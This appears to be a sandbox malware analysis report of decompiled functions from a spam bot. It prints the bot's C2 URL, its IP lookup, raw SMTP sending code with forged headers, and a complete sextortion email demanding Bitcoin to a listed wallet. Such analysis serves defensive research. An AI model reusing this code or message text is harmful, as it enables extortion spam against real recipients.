Uniqueness Score: -1.00%

Function 002E1230 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

select.WS2_32(?,00000000,00000000,00000000,00000400), ref: 002E130C

Strings

@, xrefs: 002E1290

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: select
String ID: @
API String ID: 1274211008-2766056989
Opcode ID: 13afa1cd6d69060478751d06e3eb4b3dde427216f4af86e30c0938fe8dfa6686
Instruction ID: 949c94e8b6483883fb527ab5e231959ab86f88be6cc7e992f9e4004bd0b48a0d
Opcode Fuzzy Hash: 13afa1cd6d69060478751d06e3eb4b3dde427216f4af86e30c0938fe8dfa6686
Instruction Fuzzy Hash: 8B210C70A5015C9BCF58CF55C892BDDB7B6AB45314F50C1E9EA09A7284CB309FA18F80

Uniqueness

Uniqueness Score: -1.00%

Function 002E1440 Relevance: 3.0, APIs: 2, Instructions: 26networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(002E10D9), ref: 002E144A
gethostbyname.WS2_32(?), ref: 002E145D

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: 463234df564c9832e85e2f44b75a565982a707971d8ea21866ac87ebd44150d0
Instruction ID: 556ade74cbccb0d7c9453c965e7e718dbf4cc482abe28ffecfe837c73f233deb
Opcode Fuzzy Hash: 463234df564c9832e85e2f44b75a565982a707971d8ea21866ac87ebd44150d0
Instruction Fuzzy Hash: 33F0FE74950248EFCB00DFB5D58889DBBB5EF49311F6086A4E9559B390D7309A90DB80

Uniqueness

Uniqueness Score: -1.00%

Function 002E1120 Relevance: 3.0, APIs: 2, Instructions: 22
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E002E1120(intOrPtr _a4, CHAR* _a8, int _a12) {
				intOrPtr _t10;

				if(_a12 == 0xffffffff) {
					_a12 = lstrlenA(_a8);
				}
				_t10 = _a4;
				__imp__#19(_t10, _a8, _a12, 0); // executed
				return 0 | _t10 == _a12;
			}

0x002e1127
0x002e1133
0x002e1133
0x002e1140
0x002e1144
0x002e1155

APIs

lstrlenA.KERNEL32(?), ref: 002E112D
send.WS2_32(?,?,000000FF,00000000), ref: 002E1144

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: lstrlensend
String ID:
API String ID: 3675724601-0
Opcode ID: e3aa47fe01d8e618f001ff7b9be01c41d9b654c46abeeef3e1de1abcb723299d
Instruction ID: 6dcbaeb080950c9336f22962c1c20ed08558b33809501787945720c54c681b19
Opcode Fuzzy Hash: e3aa47fe01d8e618f001ff7b9be01c41d9b654c46abeeef3e1de1abcb723299d
Instruction Fuzzy Hash: 40E012711443499BCF04DF68EC88A9A37A8BB08310F404618FA29CB290D730D510CB50

Uniqueness

Uniqueness Score: -1.00%

Function 002E1160 Relevance: 1.5, APIs: 1, Instructions: 31networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 002E119F

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 5cd574ce10f20e40d9f53ceb04e3f0141a2a644a624f9c1408b3c4940e293b57
Instruction ID: dae9a1a7a8b4eb6412400c3c8d1cbd023278766a19ee77ccbe6a13bef1a6008e
Opcode Fuzzy Hash: 5cd574ce10f20e40d9f53ceb04e3f0141a2a644a624f9c1408b3c4940e293b57
Instruction Fuzzy Hash: 57F05E71AA038AABDF00CE56DC04BAB37A8AB04345F804428BA1D8E290D3B4D570CB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002E1320 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E002E1320(void* __ecx, intOrPtr _a4, char* _a8) {
				char _v8;
				signed int _t19;
				void* _t32;
				void* _t33;

				 *_a8 = 0;
				srand(GetTickCount());
				_t33 = _t32 + 4;
				_v8 = 0;
				while(_v8 < _a4) {
					_t19 = rand();
					asm("cdq");
					_push(_t19 % 0xa);
					_push(_a8);
					sprintf(_a8, "%s%d");
					_t33 = _t33 + 0x10;
					_v8 = _v8 + 1;
				}
				_a8[_v8] = 0;
				return _a8;
			}

0x002e1327
0x002e1331
0x002e1336
0x002e1339
0x002e134b
0x002e1353
0x002e1358
0x002e1360
0x002e1364
0x002e136e
0x002e1373
0x002e1348
0x002e1348
0x002e137e
0x002e1387

APIs

GetTickCount.KERNEL32 ref: 002E132A
srand.MSVCR90 ref: 002E1331
rand.MSVCR90 ref: 002E1353
sprintf.MSVCR90 ref: 002E136E

Strings

%s%d, xrefs: 002E1365

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: CountTickrandsprintfsrand
String ID: %s%d
API String ID: 2526408171-1110647743
Opcode ID: cad870c18cf4bcd66844f7eb0e3a6297824e61d442ef85245cc975d3d09fe3d0
Instruction ID: b659edfeb326d261db9652b856b7996eda24f775302967b6eb86af57163d6f7a
Opcode Fuzzy Hash: cad870c18cf4bcd66844f7eb0e3a6297824e61d442ef85245cc975d3d09fe3d0
Instruction Fuzzy Hash: C8F0C270A54188EBDB04DF99D852BADB77AEF45300F50C098F90A4B341D670AF209B62

Uniqueness

Uniqueness Score: -1.00%

Function 002E11C0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E002E11C0(char* _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				void* _t23;

				_v20 = 0x2e41c0;
				_v16 = 0x2e41c4;
				_v12 = 0x2e41c8;
				_v8 = 0;
				_v24 = 0;
				while(_v24 < 3) {
					if(StrCmpNA(_a4,  *(_t23 + _v24 * 4 - 0x10), 3) == 0) {
						_v8 = 1;
					} else {
						_v24 = _v24 + 1;
						continue;
					}
					break;
				}
				return _v8;
			}

0x002e11c6
0x002e11cd
0x002e11d4
0x002e11db
0x002e11e2
0x002e11f4
0x002e1210
0x002e1214
0x002e1212
0x002e11f1
0x00000000
0x002e11f1
0x00000000
0x002e1210
0x002e1225

APIs

StrCmpNA.SHLWAPI(354,220,00000003), ref: 002E1208

Strings

250, xrefs: 002E11CD
220, xrefs: 002E11C6, 002E1203
354, xrefs: 002E11D4, 002E1207

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID:
String ID: 220$250$354
API String ID: 0-1679323658
Opcode ID: d7c4a3c70faa60433442e9197c2015e12b2f9415b365a91179ab40d368e95d9c
Instruction ID: 964f443375c4476ace39fc39b8c0f1d837f0a027b652ea11b6f561a5e2231524
Opcode Fuzzy Hash: d7c4a3c70faa60433442e9197c2015e12b2f9415b365a91179ab40d368e95d9c
Instruction Fuzzy Hash: F1F04F70A94289DBCF00DFD6DD487EEBBB4BB04304F604558D909AF240C3B09B64DBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 22195367.exePID: 6440, Parent PID: 7432COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00C726A0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 70
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00C726A0() {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v528;
				void _v796;
				short _v1316;
				char _v1716;
				void* _v1720;
				void* _t10;
				signed char _t17;

				Sleep(0x7d0); // executed
				_t10 = CreateMutexA(0, 0, "t4t4t"); // executed
				_v1720 = _t10;
				if(GetLastError() == 0xb7) {
					ExitProcess(0);
				}
				_v528 = 0;
				GetModuleFileNameW(0,  &_v524, 0x104);
				wsprintfW( &_v1316, L"%s:Zone.Identifier",  &_v524);
				DeleteFileW( &_v1316); // executed
				__imp__#115(0x202,  &_v1716); // executed
				_t17 = E00C71760(); // executed
				if((_t17 & 0x000000ff) == 0) {
					ExitProcess(0);
				}
				Sleep(0x64); // executed
				wsprintfA( &_v796, "%s", E00C71000("http://185.215.113.66/ca/"));
				CreateThread(0, 0, E00C723B0,  &_v796, 0, 0); // executed
				while(1 != 0) {
					Sleep(0xcdfe600); // executed
				}
				return 0;
			}

0x00c726ae
0x00c726bd
0x00c726c3
0x00c726d4
0x00c726d8
0x00c726d8
0x00c726de
0x00c726f6
0x00c7270f
0x00c7271f
0x00c72731
0x00c72737
0x00c72741
0x00c72745
0x00c72745
0x00c7274d
0x00c7276d
0x00c7278a
0x00c72790
0x00c7279e
0x00c7279e
0x00c727ab

APIs

Sleep.KERNELBASE(000007D0), ref: 00C726AE
CreateMutexA.KERNELBASE(00000000,00000000,t4t4t), ref: 00C726BD
GetLastError.KERNEL32 ref: 00C726C9
ExitProcess.KERNEL32 ref: 00C726D8
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00C726F6
wsprintfW.USER32 ref: 00C7270F
DeleteFileW.KERNELBASE(?), ref: 00C7271F
WSAStartup.WS2_32(00000202,?), ref: 00C72731
ExitProcess.KERNEL32 ref: 00C72745

Strings

t4t4t, xrefs: 00C726B4
http://185.215.113.66/ca/, xrefs: 00C72753
%s:Zone.Identifier, xrefs: 00C72703

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: ExitFileProcess$CreateDeleteErrorLastModuleMutexNameSleepStartupwsprintf
String ID: %s:Zone.Identifier$http://185.215.113.66/ca/$t4t4t
API String ID: 3138769648-3639762136
Opcode ID: c7635222eb677460301f3c611d64dbd451c6fefe85e41dc3422dbede7df0f605
Instruction ID: 1752d5923d49c41fe2f3b81adf840b369398b0049caf1880a053ff10d1547ed7
Opcode Fuzzy Hash: c7635222eb677460301f3c611d64dbd451c6fefe85e41dc3422dbede7df0f605
Instruction Fuzzy Hash: 27218471A44308ABE7186BA0EC4EF9D7B79EB14702F008464FB1EE50D1EBB05AD48F65

Uniqueness

Uniqueness Score: -1.00%

Function 00C717D0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 71
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00C717D0() {
				void _v108;
				long _v112;
				void* _v116;
				void* _v120;
				void* _t15;
				void* _t21;

				_t15 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 0, 0, 0, 0); // executed
				_v120 = _t15;
				if(_v120 == 0) {
					wsprintfA("[102.129.143.97]", "[0.0.0.0]");
					L8:
					InternetCloseHandle(_v120);
					return "[102.129.143.97]";
				}
				_t21 = InternetOpenUrlA(_v120, "http://icanhazip.com/", 0, 0, 0, 0); // executed
				_v116 = _t21;
				if(_v116 != 0) {
					InternetReadFile(_v116,  &_v108, 0x63,  &_v112); // executed
					if( &_v108 != 0) {
						if(E00C718B0( &_v108, ".") == 0) {
							wsprintfA("[102.129.143.97]", "[0.0.0.0]");
						} else {
							E00C71400( &_v108);
							wsprintfA("[102.129.143.97]", "[%s]",  &_v108);
						}
					}
				}
				InternetCloseHandle(_v116); // executed
				goto L8;
			}

0x00c717e3
0x00c717e9
0x00c717f0
0x00c71894
0x00c7189d
0x00c718a1
0x00c718af
0x00c718af
0x00c71807
0x00c7180d
0x00c71814
0x00c71824
0x00c7182f
0x00c71844
0x00c71875
0x00c71846
0x00c7184a
0x00c71860
0x00c71866
0x00c71844
0x00c7182f
0x00c71882
0x00000000

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00C717E3
InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00C71807
InternetReadFile.WININET(00000000,?,00000063,?), ref: 00C71824

Part of subcall function 00C718B0: strstr.MSVCR90 ref: 00C718BB

wsprintfA.USER32 ref: 00C71860
wsprintfA.USER32 ref: 00C71875
InternetCloseHandle.WININET(00000000), ref: 00C71882
wsprintfA.USER32 ref: 00C71894
InternetCloseHandle.WININET(?), ref: 00C718A1

Strings

http://icanhazip.com/, xrefs: 00C717FE
[102.129.143.97], xrefs: 00C7185B, 00C71870, 00C7188F, 00C718A7
[%s], xrefs: 00C71856
[0.0.0.0], xrefs: 00C7188A
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 00C717DE
[0.0.0.0], xrefs: 00C7186B

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: Internet$wsprintf$CloseHandleOpen$FileReadstrstr
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$[%s]$[0.0.0.0]$[0.0.0.0]$[102.129.143.97]$http://icanhazip.com/
API String ID: 2936383407-4044173070
Opcode ID: c2149089a812ecebf617e39e85d43a2a6a5a8e463a94303759f3648840411337
Instruction ID: 68f6e8869e6c3085dfefa46dd6c053c09b1c322c6dabbb7f5931fb910ee9288b
Opcode Fuzzy Hash: c2149089a812ecebf617e39e85d43a2a6a5a8e463a94303759f3648840411337
Instruction Fuzzy Hash: 40218770A40304ABDB18EBF9EC0AF9D7B34AB14B05F648128F91D771D1E7705544CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00C71CAB Relevance: 115.9, APIs: 36, Strings: 30, Instructions: 402
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00C71CAB(void* __eflags) {
				signed int _t171;
				signed int _t173;
				signed int _t175;
				signed int _t177;
				void* _t183;
				void* _t184;
				void* _t189;
				void* _t193;
				void* _t196;
				void* _t200;
				void* _t203;
				void* _t205;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t229;
				void* _t244;
				intOrPtr _t248;
				void* _t249;
				void* _t329;
				void* _t331;
				void* _t338;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t350;
				void* _t354;
				void* _t355;
				void* _t356;
				void* _t368;
				void* _t380;

				L0:
				while(1) {
					L0:
					wsprintfA(_t329 - 0x508, "%s.com", E00C71320(_t329 - 0x61c, 5, _t329 - 0x61c));
					E00C71490(0, _t329 - 0x710, 1); // executed
					Sleep(0x7d0); // executed
					E00C71490(0, _t329 - 0x690, 0); // executed
					_t171 = rand();
					asm("cdq");
					_t173 = rand();
					asm("cdq");
					_t175 = rand();
					asm("cdq");
					_t177 = rand();
					asm("cdq");
					 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", E00C71390(0xd2, 7, _t329 - 0x6a8), _t177 % 0xd2 + 1, _t175 % 0xfe + 1, _t173 % 0xfe + 1, _t171 % 0xfe + 1, _t329 - 0x508, _t329 - 0x690);
					_t183 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
					_t338 = _t331 + 0x64;
					if(_t183 != 0) {
						_t184 = E00C71320(_t329 - 0x710, 3, _t329 - 0x628);
						 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", E00C71320(_t329 - 0x710, 5, _t329 - 0x69c), _t184, _t329 - 0x710);
						_t189 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714))); // executed
						_t342 = _t338 + 0x30;
						if(_t189 != 0) {
							 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "From: %s\r\n",  *((intOrPtr*)(_t329 + 8)));
							_t193 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
							_t344 = _t342 + 0x18;
							if(_t193 != 0) {
								 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "To: %s\r\n",  *((intOrPtr*)(_t329 + 8)));
								_t196 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
								_t346 = _t344 + 0x18;
								if(_t196 != 0) {
									 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
									_t200 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
									_t348 = _t346 + 0x18;
									if(_t200 != 0) {
										 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Date: %s\r\n", _t329 - 0x690);
										_t203 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
										_t350 = _t348 + 0x18;
										if(_t203 != 0) {
											_t205 = E00C71320(_t329 - 0x628, 6, _t329 - 0x628);
											 *((intOrPtr*)(_t329 - 0x714)) = wsprintfA(_t329 - 0x490, "Message-ID: <%s.%s@%s>\r\n", E00C71320(_t329 - 0x628, 6, _t329 - 0x69c), _t205, _t329 - 0x508);
											_t210 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *((intOrPtr*)(_t329 - 0x714)));
											_t354 = _t350 + 0x30;
											if(_t210 != 0) {
												_t211 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), "Mime-Version: 1.0\r\n", 0xffffffff);
												_t355 = _t354 + 0xc;
												if(_t211 != 0) {
													_t212 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), "Content-type: text/plain;\r\n\r\n", 0xffffffff);
													_t356 = _t355 + 0xc;
													if(_t212 != 0) {
														memset(_t329 - 0x610, 0, 0x104);
														strcpy(_t329 - 0x610, "Hello there!\r\n\r\n");
														strcat(_t329 - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
														strcat(_t329 - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
														strcat(_t329 - 0x610, "My trojan allows me to access your accounts, your camera and microphone.\r\n\r\n");
														strcat(_t329 - 0x610, "Check the sender of this email, I have sent it from your email account.\r\n\r\n");
														strcat(_t329 - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
														strcat(_t329 - 0x610, "I RECORDED YOU (through your camera) SATISFYING YOURSELF!\r\n\r\n");
														strcat(_t329 - 0x610, "If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts and on social networks.\r\n\r\n");
														strcat(_t329 - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
														strcat(_t329 - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n");
														_t229 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x610, 0xffffffff);
														_t368 = _t356 + 0x68;
														if(_t229 != 0) {
															memset(_t329 - 0x610, 0, 0x104);
															strcpy(_t329 - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
															strcat(_t329 - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
															strcat(_t329 - 0x610, "Be sure, I keep my promises!\r\n\r\n");
															strcat(_t329 - 0x610, "If you are unaware how to buy and send Bitcoin (BTC) - Google: Where to buy Bitcoin (BTC), to send and receive Bitcoin (BTC), you can register your wallet for example here: www.blockchain.com\r\n\r\n");
															strcat(_t329 - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
															strcat(_t329 - 0x610, "Yes, that\'s how the address looks like, copy and paste my address, it\'s (cAsE-sEnSEtiVE).\r\n\r\n");
															strcat(_t329 - 0x610, "You are given not more than 48 hours after you have opened this email (2 days to be precise).\r\n\r\n");
															strcat(_t329 - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
															strcat(_t329 - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n");
															_t244 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x610, 0xffffffff);
															_t368 = _t368 + 0x60;
															if(_t244 != 0) {
																 *(_t329 - 0x20) = 7;
															} else {
																 *(_t329 - 0x20) = 0;
															}
														} else {
															 *(_t329 - 0x20) = 0;
														}
													} else {
														 *(_t329 - 0x20) = 0;
													}
												} else {
													 *(_t329 - 0x20) = 0;
												}
											} else {
												 *(_t329 - 0x20) = 0;
											}
										} else {
											 *(_t329 - 0x20) = 0;
										}
									} else {
										 *(_t329 - 0x20) = 0;
									}
								} else {
									 *(_t329 - 0x20) = 0;
								}
							} else {
								 *(_t329 - 0x20) = 0;
							}
						} else {
							 *(_t329 - 0x20) = 0;
						}
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t329 - 0x20) != 0 &&  *(_t329 - 0x20) != 8) {
						_t248 = E00C71160( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490, 0x400); // executed
						_t380 = _t368 + 0xc;
						 *((intOrPtr*)(_t329 - 0x90)) = _t248;
						if( *((intOrPtr*)(_t329 - 0x90)) != 0) {
							L5:
							 *((char*)(_t329 +  *((intOrPtr*)(_t329 - 0x90)) - 0x490)) = 0;
							_t249 = E00C711C0(_t329 - 0x490);
							_t368 = _t380 + 4;
							if(_t249 != 0) {
								L7:
								 *(_t329 - 0x718) =  *(_t329 - 0x20);
								 *(_t329 - 0x718) =  *(_t329 - 0x718) - 1;
								if( *(_t329 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t329 - 0x718) * 4 +  &M00C7223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t329 - 0x490) == 0) {
											_t253 = wsprintfA(_t329 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t381 = _t368 + 0xc;
											 *(_t329 - 0x494) = _t253;
										} else {
											_t256 = wsprintfA(_t329 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t381 = _t368 + 0xc;
											 *(_t329 - 0x494) = _t256;
										}
										_t255 = E00C71120( *((intOrPtr*)(_t329 - 0x1c)), _t329 - 0x490,  *(_t329 - 0x494)); // executed
										_t368 = _t381 + 0xc;
										if(_t255 != 0) {
											 *(_t329 - 0x20) = 3;
										} else {
											 *(_t329 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										goto L0;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t329 - 8) = 0 |  *(_t329 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t329 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t329 - 0x1c))); // executed
					return  *(_t329 - 8);
				}
			}

0x00c71cab
0x00c71cab
0x00c71cab
0x00c71cc9
0x00c71cdd
0x00c71cea
0x00c71cfb
0x00c71d11
0x00c71d16
0x00c71d22
